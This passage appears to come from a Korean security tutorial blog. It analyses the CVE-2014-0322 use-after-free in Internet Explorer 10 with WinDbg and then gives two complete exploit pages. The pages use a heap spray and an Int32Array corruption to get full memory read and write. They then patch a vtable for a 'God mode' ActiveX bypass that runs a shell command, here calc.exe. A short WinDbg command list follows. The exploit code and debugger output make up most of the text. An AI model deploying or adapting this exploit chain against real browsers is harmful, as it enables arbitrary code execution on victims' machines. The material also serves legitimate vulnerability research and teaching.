        0c87f9a0 0069 0000  [00]   0c87f9a8    00340 - (busy)

          MSHTML!CMarkup::`vftable'




객체 크기는 0x340 이며, CMarkup 임을 알 수 있다.



 

0:012> dd esi

0c87f9a8  62e74a18 00000001 00000000 00000008

0c87f9b8  00000000 00000000 00000000 00000000

0c87f9c8  00000000 00000000 00000000 00000000


0:012> dds poi(esi)    // VFTable 확인 => CMarkup 객체 

62e74a18  630275f0 MSHTML!CMarkup::PrivateQueryInterface

62e74a1c  62e901e0 MSHTML!CMarkup::PrivateAddRef

62e74a20  62e901bd MSHTML!CMarkup::PrivateRelease

62e74a24  634aa3cd MSHTML!CBase::PrivateGetTypeInfoCount


이로써 해제된 CMarkup 객체를 다시 사용하려다 발생하는 UAF 임을 알 수 있다.





객체는 일반적으로 reference count 가 0 이 되면 해제되는데, 관련된 메소드들은 아래와 같다.


0:026> x mshtml!cmarkup::*ref

62ee5aec          MSHTML!CMarkup::ElementAddRef (<no parameter info>)

62e901e0          MSHTML!CMarkup::PrivateAddRef (<no parameter info>)

62ee41b9          MSHTML!CMarkup::AddRef (<no parameter info>)


0:026> x mshtml!cmarkup::*release

62e901bd          MSHTML!CMarkup::PrivateRelease (<no parameter info>)

62ee414a          MSHTML!CMarkup::Release (<no parameter info>)

6308f9ef          MSHTML!CMarkup::ElementRelease (<no parameter info>)


하지만 addref 와 release 가 너무 많이 호출되서 저것만으론 분석이 어려움. 







그래서  mshtml!CMarkup::CMarkup, mshtml!CMarkup::~CMarkup  으로 분석


분석을 위해 다들 하는 대로 atan2 함수를 이용했다. 분석 전에 처음에 설정해둔 디버깅용 힙 플래그를 해제해 주어야 한다.

(해제하지 않으면 LFH 가 활성화 되지 않아 메모리를 원하는 위치에 다시 할당할 수 없다)


C:\Users\I-Pub>"C:\Program Files\Windows Kits\10\Debuggers\x86\gflags.exe" /i iexplore.exe -ust -hpa


<!-- CVE-2014-0322 --> <html> <head> <meta http-equiv="X-UA-Compatible" content="IE=edge"> </head> <body> <script> var array = []; var array_len = 0x250; function createString(character, size) { while (character.length < size) { character += character; } return character.substr(0, (size - 6) / 2); } function handler() { Math.atan2(0xabcd, "[*] Start Handler"); this.outerHTML = this.outerHTML; // free var data = createString("A", 0xac + 0x6); data += unescape("%u4344%u4142"); data += createString("C",0x340); test = data.substr(0, (0x340-6) /2); for (var i=0;i<array_len;i++){ array[i] = document.createElement("button"); array[i].title = test; } Math.atan2(0xabcd, "[*] End Handler"); } function trigger() { Math.atan2(0xabcd, "[*] Trigger Start..."); var a = document.getElementsByTagName("script")[0]; a.onpropertychange = handler; var b = document.createElement("div"); b = a.appendChild(b); // use Math.atan2(0xabcd, "[*] Trigger End..."); } trigger(); </script> </body> </html>





0:020> sxe ld jscript9.dll    // jscript9 로드시 break


(238.734): Unknown exception - code 000006ba (first chance)

ModLoad: 6ded0000 6e196000   C:\Windows\System32\jscript9.dll

eax=12217000 ebx=00000000 ecx=00201000 edx=00000000 esi=7ff9f000 edi=09e18e5c

eip=77d36c74 esp=09e18d74 ebp=09e18dc8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246

ntdll!KiFastSystemCallRet:

77d36c74 c3              ret

0:020> g



# 브레이크 포인트 설정


더 자세한 분석을 하고 싶다면 kb 10 등의 콜스택 명령을 추가해서 각각의 할당과 해제 루틴을 분석하면 된다.


0:012> bu jscript9!Js::math::atan2 ".printf \"log : %mu\", poi(poi(esp+14)+c);.echo;g"

0:012> bu mshtml!CMarkup::CMarkup ".printf \"Alloc CMarkup %p\", @esi;.echo;g;"

0:012> bu mshtml!CMarkup::~CMarkup ".printf \"Free CMarkup %p\", @ecx;.echo;g;"

0:012> g


log : [*] Trigger Start...

log : [*] Start Handler

Alloc CMarkup 121d2cc0

Free CMarkup 121d2cc0

log : [*] End Handler

Alloc CMarkup 14dfccc0

log : [*] Start Handler

Alloc CMarkup 1423ecc0

Free CMarkup 1423ecc0

Free CMarkup 14dfccc0

log : [*] End Handler


(504.75c): Access violation - code c0000005 (first chance)

First chance exceptions are reported before any exception handling.

This exception may be expected and handled.

eax=00000000 ebx=14e0cfa0 ecx=77d463e0 edx=00061078 esi=14dfccc0 edi=13319fc8

eip=6307100c esp=0967b370 ebp=0967b3d8 iopl=0         nv up ei pl zr na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246

MSHTML!CMarkup::NotifyElementEnterTree+0x266:

6307100c ff4678          inc     dword ptr [esi+78h]  ds:0023:14dfcd38=????????


handler() 내부, 즉 this.outerHTML = this.outerHTML; 에 의해서 객체가 해제된다는 것을 확인할 수 있다. 

그리고 Trigger End 가 출력되기 전에 에러가 발생한 것으로 보아 appendChild() 에서 use(after free) 한 것으로 볼 수 있다.

 b = a.appendChild(b);




이제 uaf 분석은 끝났고, 객체 크기(0x340 도 알고 있으니 정확한 크기를 할당하여 LFH 를 이용하면 해제된 메모리에 


원하는 값을 다시 할당해줄 수 있다. 현재 버전의 IE 는 isolated heap, protected memory(delayed heap) 이 적용되기 이전이므로 


그냥 아래와 같이 할당만 해주면 된다. 


var data = createString("A", 0xac + 0x6);
    data += unescape("%u4344%u4142");
    data += createString("C",0x340);

    test = data.substr(0, (0x340-6) /2);

    for (var i=0;i<array_len;i++){
        array[i] = document.createElement("button");
        array[i].title = test;
    }




이제 브레이크포인트를 해제하고, .restart 로 재시작을 해 보자.


eax=41424344 ebx=046ac718 ecx=00000191 edx=05cdcd10 esi=05cdcd10 edi=04746bc0

eip=630d1b97 esp=04a1b4ac ebp=04a1b518 iopl=0         nv up ei pl nz na pe nc

cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210206

MSHTML!CMarkup::UpdateMarkupContentsVersion+0x16:

630d1b97 ff4010          inc     dword ptr [eax+10h]  ds:0023:41424354=????????


eax 의 값이 할당된 곳을 확인해 보자.


0:011> u @eip-d  l  10

MSHTML!CMarkup::UpdateMarkupContentsVersion+0x9:

630d1b8a 89427c          mov     dword ptr [edx+7Ch],eax

630d1b8d 8b82ac000000    mov     eax,dword ptr [edx+0ACh]   // eax 할당

630d1b93 85c0            test    eax,eax

630d1b95 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x19 (630d1b9a)

630d1b97 ff4010          inc     dword ptr [eax+10h]   // crash

630d1b9a 8b8a94000000    mov     ecx,dword ptr [edx+94h]

630d1ba0 33c0            xor     eax,eax

630d1ba2 85c9            test    ecx,ecx

630d1ba4 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x28 (630d1ba9)

630d1ba6 8b410c          mov     eax,dword ptr [ecx+0Ch]

630d1ba9 83b8c001000000  cmp     dword ptr [eax+1C0h],0

630d1bb0 7427            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x50 (630d1bd9)

630d1bb2 33c0            xor     eax,eax

630d1bb4 85c9            test    ecx,ecx

630d1bb6 7403            je      MSHTML!CMarkup::UpdateMarkupContentsVersion+0x3a (630d1bbb)

630d1bb8 8b410c          mov     eax,dword ptr [ecx+0Ch]


0:011> dd edx+ac

05cdcdbc  41424344 00430043 00430043 00430043

05cdcdcc  00430043 00430043 00430043 00430043

05cdcddc  00430043 00430043 00430043 00430043

05cdcdec  00430043 00430043 00430043 00430043

05cdcdfc  00430043 00430043 00430043 00430043

05cdce0c  00430043 00430043 00430043 00430043

05cdce1c  00430043 00430043 00430043 00430043

05cdce2c  00430043 00430043 00430043 00430043

0:011> r


이제 원하는 값을 +1 해줄 수 있음을 확인했다.




위 trigger() 함수를 이용해서 int32array 의 길이값, rawbuffer 주소를 변조하고, 프로세스 전체 접근 권한을 얻는다.


이후에는 int32array 읽기/쓰기 함수를 이용해서 jscript, mshtml 주소값과 목표 vtable 주소를 얻고,


최종적으로 godmode 를 켜준다.


전체 Exploit 코드는 아래와 같다.


<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script language="javascript">

    var array = [];
    var array_len = 0x250;

    function getFiller(n) { return new Array(n + 1).join("a"); }

    function getDwordStr(val) { return String.fromCharCode(val % 0x10000, val / 0x10000);}

    function handler() {
        this.outerHTML = this.outerHTML; // free

        var data = getFiller(0x94 / 2) + getDwordStr(0xc0af010) +
                   getFiller((0xac - (0x94 + 4)) / 2) + getDwordStr(0xc0af00b) +
                   getFiller((0x1a4 - (0xac + 4)) / 2) + getDwordStr(0x11111) +
                   getFiller((0x340 - (0x1a4 + 4)) / 2 - 1);

        test = data.substr(0, (0x340 - 6) / 2);
        // Fake Object -> LFH (size: 0x340)
        for (var i = 0; i < array_len; i++) {
            array[i] = document.createElement("button");
            array[i].title = test;
        }
    }

    function trigger() {
        var a = document.getElementsByTagName("script")[0];
        a.onpropertychange = handler;
        var b = document.createElement("div");
        b = a.appendChild(b); // use
    }

    (function() {
        // clear memory
        CollectGarbage();

        a = new Array();
        for (i = 0; i < 0x200; ++i) {
            a[i] = new Array(0x3c00);
            if (i == 0x80)
                buf = new ArrayBuffer(0x58); 
            for (j = 0; j < a[i].length; ++j)
                a[i][j] = 0x123;
        }
        for (; i < 0x200 + 0x400; ++i) {
            a[i] = new Array(0x3bf8)
            for (j = 0; j < 0x55; ++j)
                a[i][j] = new Int32Array(buf)
        }
        // inc * 0x20  : 0x0c0af01b(00->20)
        // 00 00 00 16 -> 20 00 00 16
        for (var k = 0; k < 0x20; ++k) {
            trigger();
        }

        //alert("Set byte at 0c0af01b to 0x20"); 

        // find modified Int32Array
        int32array = 0;
        for (i = 0x200; i < 0x200 + 0x400; ++i) {
            for (j = 0; j < 0x55; ++j) {
                if (a[i][j].length != 0x58 / 4) {
                    int32array = a[i][j];
                    break;
                }
            }
            if (int32array != 0)
                break;
        }

        if (int32array == 0) {
            //alert("Can't find int32array!");
            window.location.reload();
            return;
        }

        // validate memory array
        //   to get buf_addr
        var vftptr1 = int32array[0x60 / 4],
            vftptr2 = int32array[0x60 * 2 / 4],
            vftptr3 = int32array[0x60 * 3 / 4],
            nextPtr1 = int32array[(0x60 + 0x24) / 4],
            nextPtr2 = int32array[(0x60 * 2 + 0x24) / 4],
            nextPtr3 = int32array[(0x60 * 3 + 0x24) / 4];
        if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 || nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
            window.location.reload();
            return;
        }
        // Int32Array address
        buf_addr = nextPtr1 - 0x60 * 2;

        // validate int32array addr
        //   0x0c0af01c => buf_addr
        //   0x0c0af01c => buf_addr + offset
        //   offset = 0x0c0af01c - buf addr
        if (int32array[(0x0c0af01c - buf_addr) / 4] != buf_addr) {
            window.location.reload();
            return;
        }

        /* before
            0:021> dd 0x0c0af000
            0c0af000  6ded3b60 05439760 00000000 00000003
            0c0af010  00000004 00000000 20000016 0205fc30 
        */
        //int32array[(0x0c0af018 - buf_addr) / 4] = 0x20000000; // new length
        int32array[(0x0c0af01c - buf_addr) / 4] = 0; // new buffer address, full memory access!!
        /* after
            0:027> dd 0x0c0af000
            0c0af000  6ded3b60 054398a0 00000000 00000003
            0c0af010  00000004 00000000 20000000 00000000
        */

        function read(address) {
            var k = address & 3;
            if (k == 0) {  // address % 4 == 0
                return int32array[address / 4];
            } else {
                return (int32array[(address - k) / 4] >> k * 8) |
                    (int32array[(address - k + 4) / 4] << (32 - k * 8));
            }
        }

        function write(address, value) {
            var k = address & 3;
            if (k == 0) {  // address % 4 == 0
                int32array[address / 4] = value;
            } else {
                var low = int32array[(address - k) / 4];
                var high = int32array[(address - k + 4) / 4];
                var mask = (1 << k * 8) - 1; // 0xff or 0xffff or 0xffffff
                low = (low & mask) | (value << k * 8);
                high = (high & (0xffffffff - mask)) | (value >> (32 - k * 8));
                int32array[(address - k) / 4] = low;
                int32array[(address - k + 4) / 4] = high;
            }
        }

        // God mode !!

        // jscript9.dll base address = int32array vftable - offset
        jscript9 = read(0x0c0af000) - 0x3b60;
        //alert("jscript9.dll base address\n0x"+jscript9.toString(16));
        for (i = 0x200; i < 0x200 + 0x400; ++i)
            a[i][0x3bf7] = 0;

        // 0x0c0af000-4 => find last array addr
        //==================================
        //         array [0~~~ 0x3bf7]
        //    0x0c0af000 [int32array]
        write(0x0c0af000 - 4, 3);

        leakArray = 0;
        for (i = 0x200; i < 0x200 + 0x400; ++i) {
            if (a[i][0x3bf7] != 0) {
                leakArray = a[i];
                break;
            }
        }
        if (leakArray == 0) {
            alert("Can't find leakArray!");
            window.location.reload();
            return;
        }

        function get_addr(obj) {
            // leakarray[0x3bf7] == 0x0c0af000-4
            leakArray[0x3bf7] = obj;
            return read(0x0c0af000 - 4);
        }

        // div elements first 4 bytes => jscript9!Projection::ArrayObjectInstance::`vftable'
        // div elements +0x10 bytes   => MSHTML!CBaseTypeOperations::CBaseFinalizer
        var addr = get_addr(document.createElement("div"));
        // MSHTML!CBaseTypeOperations::CBaseFinalizer Vtable = mshtml + 0x58b9a
        mshtml = read(addr + 0x10) - 0x58b9a;
        //var old = read(mshtml + 0xc555e0 + 0x14); 
        write(mshtml + 0xc555e0 + 0x14, jscript9 + 0xdc164); // God mode on
        shell = new ActiveXObject("WScript.shell");
        shell.Exec('calc.exe');
        //write(mshtml + 0xc555e0 + 0x14, old); // God mode off
        //alert("All done!");
    })();
</script>
</head>

<body>
</body>

</html>


거의 99% 신뢰도로 Exploit 성공한다. 중간중간 확인 후 memory layout 이 맞지 않으면 reload 해주기 때문이다.


자세한 설명은 고급과정에서 자세히!



# IE 10  Exploit (using God mode)


activex object 중 아래 소스에 포함된 wscript.shell 과 같이 권한이 너무 강력해서 취약한 object 는 


보안 정책에 의해 default 로 사용이 불가하다. 허용으로 바꿔준다 하더라도 경고창에서 직접 승인을 눌러줘야만 한다.


=====================================

<html>

<head>

<script language="javascript">

  shell = new ActiveXObject("WScript.shell");

  shell.Exec('calc.exe');

</script>

</head>

<body>

</body>

</html>

=====================================



하지만, 아래와 같은 단계로 우회가 가능하다.


1) 먼저, 특정 주소의 값을 바꿀 수 있는 상태여야 한다.


  ex1)  js array length modify


  ex2) flash vector length modify


    => 보통 1 byte 변조로 객체 length 변조 후, 변조된 객체로 2차 다른 객체의 길이를 0x3fffffff 등으로 바꿔서 전체 프로세스 메모리 접근 권한을 획득함

      => cve-2014-0322(snowman) 참고(값 1 증가 uaf)


2) jscript9!ScriptEngine::CanObjectRun 함수 내부의 객체(s_apfnPlainTearoff) 의 vtable 을 조작하여 CanObjectRun 함수 결과값을 항상 true 로 조작


3) 자바스크립트로  calc 마음대로 실행 가능(Godmode on)



이러한 방법으로 임의코드 실행을 하는 것을 godmode 를 이용한 Exploit 이라 부른다. VBScript 에서도 된다고 함.





====== 디버깅 과정 ======



1) 허용하시겠습니까? alert 창 상태에서 BP 걸고 콜스택을 통해 호출 함수 확인 



0:007> x user32!create*


브뽀 걸리면 


0:012> kb 10

 # ChildEBP RetAddr  Args to Child              

00 047aacf4 71003ccf 00000000 66e6bc38 047aadcc user32!CreateWindowExW

01 047aad34 66e4697a 00000000 66e6bc38 047aadcc IEShims!NS_HangResistanceInternal::APIHook_CreateWindowExW+0x64

02 047aad74 66dd213d 00000000 66e6bc38 047aadcc IEFRAME!SHFusionCreateWindowEx+0x47

03 047aaed0 66dd1f39 047aaf24 00000fa6 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0x3c1

04 047aaf1c 66dd1e23 00000000 047aaf48 047aaf68 IEFRAME!UnifiedFrameAware_AcquireModalDialogLockAndParent+0xea

05 047aaf3c 7101a148 001005bc 047aaf68 047aaf54 IEFRAME!TabWindowExports::AcquireModalDialogLockAndParent+0x1b

06 047aaf58 76cc5742 76c30000 00000fa6 001005bc IEShims!NS_UISuppression::APIHook_DialogBoxParamW+0x31

07 047ab788 76ceba1c 001005bc 00000fa6 76cc3058 urlmon!CSecurityManager::DisplayMessage+0x40

08 047abb2c 76c70f7b 0cb6835c 00001204 047abbdc urlmon!memset+0x11504

09 047abb70 65ff5a0b 05b9bc78 0cb6835c 00001204 urlmon!CSecurityManager::ProcessUrlActionEx2+0x15f

0a 047abbe4 65ff5b07 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction2+0x31d

0b 047abc14 66b35f88 00001204 047abc54 00000000 MSHTML!CMarkup::ProcessURLAction+0x3e

0c 047abca0 660c2e27 00000001 65f36348 0d32a9a4 MSHTML!memcpy+0xff91b

0d 047abce4 6e85bb25 0b4da290 6e85bb60 047abd1c MSHTML!CDocument::HostQueryCustomPolicy+0x148

0e 047abd5c 6e85b79c 0d32a9a4 00000002 01d13120 jscript9!ScriptEngine::CanObjectRun+0x78

0f 047abda8 6e85b5cf 00000000 047abdd4 5bda28d7 jscript9!ScriptSite::CreateObjectFromProgID+0xdf



 jscript9!ScriptEngine::CanObjectRun+0x78 이 부분을 통해 실행 여부가 결정됨.


또한, 해당 함수는 CreateObjectFromProgID 내부에서 호출됨.







2) 함수 분석



# CreateObjectFromProgID 분석


0:012> uf jscript9!ScriptSite::CreateObjectFromProgID


jscript9!ScriptSite::CreateObjectFromProgID:

6e85b6b9 8bff            mov     edi,edi

6e85b6bb 55              push    ebp

                ...(중략)...

6e85b78c 8b4ddc          mov     ecx,dword ptr [ebp-24h]

6e85b78f ff33            push    dword ptr [ebx]

6e85b791 8b4904          mov     ecx,dword ptr [ecx+4]

6e85b794 8d55ec          lea     edx,[ebp-14h]

6e85b797 e811030000      call    jscript9!ScriptEngine::CanObjectRun (6e85baad)   // CanObjectRun 결과에 따라서 실행여부 결정

6e85b79c 85c0            test    eax,eax                      

6e85b79e 0f844c7c0800    je      jscript9!ScriptSite::CreateObjectFromProgID+0xfd (6e8e33f0)  Branch



포인트는 CanObjectRun 결과값 (EAX) 이 0 만 아니면 참이 되어 곧바로 실행 된다는 것!!(godmode)!



이를 위해 CanObjectRun 을 분석하여 0이 아닌 값을 리턴하도록 조작해줘야 한다. 내부에서 사용되는 객체 하나의 VTable 을 조작한다.



# CanObjectRun 분석


0:006> uf jscript9!ScriptEngine::CanObjectRun

jscript9!ScriptEngine::CanObjectRun:

6e85baad 8bff            mov     edi,edi

6e85baaf 55              push    ebp

6e85bab0 8bec            mov     ebp,esp

6e85bab2 83ec48          sub     esp,48h

               ...(중략)...

6e85bb12 52              push    edx

6e85bb13 8d55c0          lea     edx,[ebp-40h]

6e85bb16 52              push    edx

6e85bb17 6860bb856e      push    offset jscript9!GUID_CUSTOM_CONFIRMOBJECTSAFETY (6e85bb60)

6e85bb1c 895de4          mov     dword ptr [ebp-1Ch],ebx

6e85bb1f 8b08            mov     ecx,dword ptr [eax]

6e85bb21 50              push    eax

6e85bb22 ff5114          call    dword ptr [ecx+14h]         // 이 호출을 조작하기 위해 VTable 을 덮어씀 

 

                                                 => 이 호출 직전 eax 는 0이 아니므로, 이 상태로 call 명령과 동시에 함수가 바로 종료되도록 에필로그로 덮어씀


=> VTable 은 항상 일정한 Offset 이고, 취약점으로 메모리 읽기/쓰기가 가능하므로 조작 가능



# 조작할 오프셋 구하기


009> bp  jscript9!ScriptEngine::CanObjectRun+0x75

009> g


jscript9!ScriptEngine::CanObjectRun+0x75:

6e85bb22 ff5114          call    dword ptr [ecx+14h]  ds:0023:66b67884={MSHTML!TearoffThunk5 (6601e30e)}



0:012> ln @ecx      //   현재 호출된 객체 심볼 확인


Exact matches:

    MSHTML!s_apfnPlainTearoffVtable = <no type information>




0:012> dds ecx     //  VTable 확인  

66b67870  65f3dd56 MSHTML!PlainQueryInterface

66b67874  65f3d69d MSHTML!CAPProcessor::AddRef

66b67878  65f3d6b5 MSHTML!PlainRelease

66b6787c  65f3c1d2 MSHTML!TearoffThunk3

66b67880  6601b017 MSHTML!TearoffThunk4

66b67884  6601e30e MSHTML!TearoffThunk5

66b67888  6601f130 MSHTML!TearoffThunk6

66b6788c  6637e99d MSHTML!TearoffThunk7



원래 호출되는 주소는 VTable 에서 0x14 떨어진 6번째 함수임(MSHTML!TearoffThunk5). 이 주소를 에필로그 주소로 덮어씀






# 덮어써야할 주소 =>  VTable Offset 계산


0:012> ? MSHTML!s_apfnPlainTearoffVtable-mshtml

Evaluate expression: 13006960 = 00c67870



# 덮어쓸 주소 => 에필로그 Offset 계산


0:012> ? 6e85bb5c  - jscript9

Evaluate expression: 899932 = 000dbb5c



# mshtml base addr 구하기  =>  div element 생성하면 + 0x10 에 MSHTML!CBaseTypeOperations::CBaseFinalizer 주소가 있음.


0:023> ? MSHTML!CBaseTypeOperations::CBaseFinalizer - mshtml

Evaluate expression: 249949 = 0003d05d



이제 전체 코드를 실행하고 alert 창이 뜨면 TypedArray<int> 객체의 length 를 변조해 준다.


힙스프레이를 통해 항상 0x0c0af000 에 위치한다.



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 00000016 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



0:020> ed 0x0c0af018 0x20000000



0:023> dd 0x0c0af000

0c0af000  68d238c8 057e98a0 00000000 00000003

0c0af010  00000004 00000000 20000000 0225baa0

0c0af020  05da2e20 00000000 00000000 00000000

0c0af030  68d238c8 057e98a0 00000000 00000003

0c0af040  00000004 00000000 00000016 0225baa0

0c0af050  05da2e20 00000000 00000000 00000000

0c0af060  68d238c8 057e98a0 00000000 00000003

0c0af070  00000004 00000000 00000016 0225baa0



정상적으로 calc 가 실행된다.



<html>
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<script language="javascript">
  (function() {
    alert("Starting!");
 
    //-----------------------------------------------------
    // From one-byte-write to full process space read/write
    //-----------------------------------------------------
 
    a = new Array();
 
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    // 8-byte header | 0x58-byte LargeHeapBlock
    // 8-byte header | 0x58-byte ArrayBuffer (buf)
    // 8-byte header | 0x58-byte LargeHeapBlock
    // .
    // .
    // .
    for (i = 0; i < 0x200; ++i) {
      a[i] = new Array(0x3c00);
      if (i == 0x80)
        buf = new ArrayBuffer(0x58);      // must be exactly 0x58!
      for (j = 0; j < a[i].length; ++j)
        a[i][j] = 0x123;
    }
    
    //    0x0:  ArrayDataHead
    //   0x20:  array[0] address
    //   0x24:  array[1] address
    //   ...
    // 0xf000:  Int32Array
    // 0xf030:  Int32Array
    //   ...
    // 0xffc0:  Int32Array
    // 0xfff0:  align data
    for (; i < 0x200 + 0x400; ++i) {
      a[i] = new Array(0x3bf8)
      for (j = 0; j < 0x55; ++j)
        a[i][j] = new Int32Array(buf)
    }
    
    //            vftptr   =>  jscript9!Js::TypedArray<int>
    // 0c0af000: 70583b60 031c98a0 00000000 00000003 00000004 00000000 20000016 08ce0020
    // 0c0af020: 03133de0                                             array_len buf_addr
    //          jsArrayBuf
    alert("Set byte at 0c0af01b to 0x20"); 
    
    // Now let's find the Int32Array whose length we modified.
    int32array = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      for (j = 0; j < 0x55; ++j) {
        if (a[i][j].length != 0x58/4) {
          int32array = a[i][j];
          break;
        }
      }
      if (int32array != 0)
        break;
    }
    
    if (int32array == 0) {
      alert("Can't find int32array!");
      window.location.reload();
      return;
    }
 
    // This is just an example.
    // The buffer of int32array starts at 03c1f178 and is 0x58 bytes.
    // The next LargeHeapBlock, preceded by 8 bytes of header, starts at 03c1f1d8.
    // The value in parentheses, at 03c1f178+0x60+0x24, points to the following
    // LargeHeapBlock.
    //
    // 03c1f178: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f198: 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
    // 03c1f1b8: 00000000 00000000 00000000 00000000 00000000 00000000 014829e8 8c000000
    // 03c1f1d8: 70796e18 00000003 08100000 00000010 00000001 00000000 00000004 0810f020
    // 03c1f1f8: 08110000(03c1f238)00000000 00000001 00000001 00000000 03c15b40 08100000
    // 03c1f218: 00000000 00000000 00000000 00000004 00000001 00000000 01482994 8c000000
    // 03c1f238: ...
 
    // We check that the structure above is correct (we check the first LargeHeapBlocks).
    // 70796e18 = jscript9!LargeHeapBlock::`vftable' = jscript9 + 0x6e18
    var vftptr1 = int32array[0x60/4],
        vftptr2 = int32array[0x60*2/4],
        vftptr3 = int32array[0x60*3/4],
        nextPtr1 = int32array[(0x60+0x24)/4],
        nextPtr2 = int32array[(0x60*2+0x24)/4],
        nextPtr3 = int32array[(0x60*3+0x24)/4];
    if (vftptr1 & 0xffff != 0x6e18 || vftptr1 != vftptr2 || vftptr2 != vftptr3 ||
        nextPtr2 - nextPtr1 != 0x60 || nextPtr3 - nextPtr2 != 0x60) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    
    buf_addr = nextPtr1 - 0x60*2;
    
    // Now we modify int32array again to gain full address space read/write access.
    if (int32array[(0x0c0af000+0x1c - buf_addr)/4] != buf_addr) {
      alert("Error!");
      window.location.reload();
      return;
    }  
    int32array[(0x0c0af000+0x18 - buf_addr)/4] = 0x20000000;        // new length
    int32array[(0x0c0af000+0x1c - buf_addr)/4] = 0;                 // new buffer address
 
    function read(address) {
      var k = address & 3;
      if (k == 0) {
        // ####
        return int32array[address/4];
      }
      else {
        alert("to debug");
        // .### #... or ..## ##.. or ...# ###.
        return (int32array[(address-k)/4] >> k*8) |
               (int32array[(address-k+4)/4] << (32 - k*8));
      }
    }
    
    function write(address, value) {
      var k = address & 3;
      if (k == 0) {
        // ####
        int32array[address/4] = value;
      }
      else {
        // .### #... or ..## ##.. or ...# ###.
        alert("to debug");
        var low = int32array[(address-k)/4];
        var high = int32array[(address-k+4)/4];
        var mask = (1 << k*8) - 1;  // 0xff or 0xffff or 0xffffff
        low = (low & mask) | (value << k*8);
        high = (high & (0xffffffff - mask)) | (value >> (32 - k*8));
        int32array[(address-k)/4] = low;
        int32array[(address-k+4)/4] = high;
      }
    }
    
    //---------
    // God mode
    //---------
    
    // At 0c0af000 we can read the vfptr of an Int32Array:
    //   jscript9!Js::TypedArray<int>::`vftable' @ jscript9+3b60
    //jscript9 = read(0x0c0af000) - 0x3b60; 원본 
    jscript9 = read(0x0c0af000) - 0x38c8; // by hyunmini
    
    // Now we need to determine the base address of MSHTML. We can create an HTML
    // object and write its reference to the address 0x0c0af000-4 which corresponds
    // to the last element of one of our arrays.
    // Let's find the array at 0x0c0af000-4.
    
    for (i = 0x200; i < 0x200 + 0x400; ++i)
      a[i][0x3bf7] = 0;
    
    // We write 3 in the last position of one of our arrays. IE encodes the number x
    // as 2*x+1 so that it can tell addresses (dword aligned) and numbers apart.
    // Either we use an odd number or a valid address otherwise IE will crash in the
    // following for loop.
    write(0x0c0af000-4, 3);
 
    leakArray = 0;
    for (i = 0x200; i < 0x200 + 0x400; ++i) {
      if (a[i][0x3bf7] != 0) {
        leakArray = a[i];
        break;
      }
    }
    if (leakArray == 0) {
      alert("Can't find leakArray!");
      window.location.reload();
      return;
    }
    
    function get_addr(obj) {
      leakArray[0x3bf7] = obj;
      return read(0x0c0af000-4, obj);
    }
    
    // Back to determining the base address of MSHTML...
    // Here's the beginning of the element div:
    //      +----- jscript9!Projection::ArrayObjectInstance::`vftable'
    //      v
    //   70792248 0c012b40 00000000 00000003
    //   73b38b9a 00000000 00574230 00000000
    //      ^
    //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x58b9a
    var addr = get_addr(document.createElement("div"));
    //mshtml = read(addr + 0x10) - 0x58b9a;  원본 
    mshtml = read(addr + 0x10) - 0x3d05d; // by hyunmini
 
    // We want to overwrite mshtml+0xc555e0+0x14 with jscript9+0xdc164 where:
    //   * mshtml+0xc555e0 is the address of the vftable we want to modify;
    //   * jscript9+0xdc164 points to the code "leave / ret 4".
    // As a result, jscript9!ScriptEngine::CanObjectRun returns true.
 
    //var old = read(mshtml+0xc555e0+0x14);   // 원본 
    var old = read(mshtml+0xc67870+0x14);   // by hyunmini
    //write(mshtml+0xc555e0+0x14, jscript9+0xdc164);      // God mode on! 원본 
    write(mshtml+0xc67870+0x14, jscript9+0xdbb5c);      // God mode on! by hyunmini
    
    shell = new ActiveXObject("WScript.shell");
    shell.Exec('calc.exe');
 
    write(mshtml+0xc67870+0x14, old);      // God mode off! by hyunmini
    
    alert("All done!");
  })();
 
</script>
</head>
<body>
</body>
</html>




WinDBG 고급 명령어들

2017. 6. 7. 10:16


WinDBG 고급 분석을 위한 명령어들 간단 정리




# 설정 미리 해놓기(배치파일)

- windbg.bat

"C:\Program Files\Windows Kits\10\Debuggers\x86\windbg.exe" -c".symfix+;.load c:\\blwdbgue.dll;g" "c:\program files\internet explorer\iexplore.exe"




# syntax color highlight

- blwdbgue 다운로드 및 .load 로 로드




# 심볼 설정 쉽게 하기

0:009> .symfix+



# 심볼 확인


0:009> x jscript9!JS::JavascriptArray::*

6548df1c          jscript9!Js::JavascriptArray::IsEnumerable (<no parameter info>)

6534cdfb          jscript9!Js::JavascriptArray::GetFromIndex (<no parameter info>)

6548fa51          jscript9!Js::JavascriptArray::BigIndex::BigIndex (<no parameter info>)

6548deb2          jscript9!Js::JavascriptArray::SetEnumerable (<no parameter info>)

653ba673          jscript9!Js::JavascriptArray::EntrySome (<no parameter info>)

65327b86          jscript9!Js::JavascriptArray::HasItem (<no parameter info>)

652a2f78          jscript9!Js::JavascriptArray::`vftable' = <no type information>

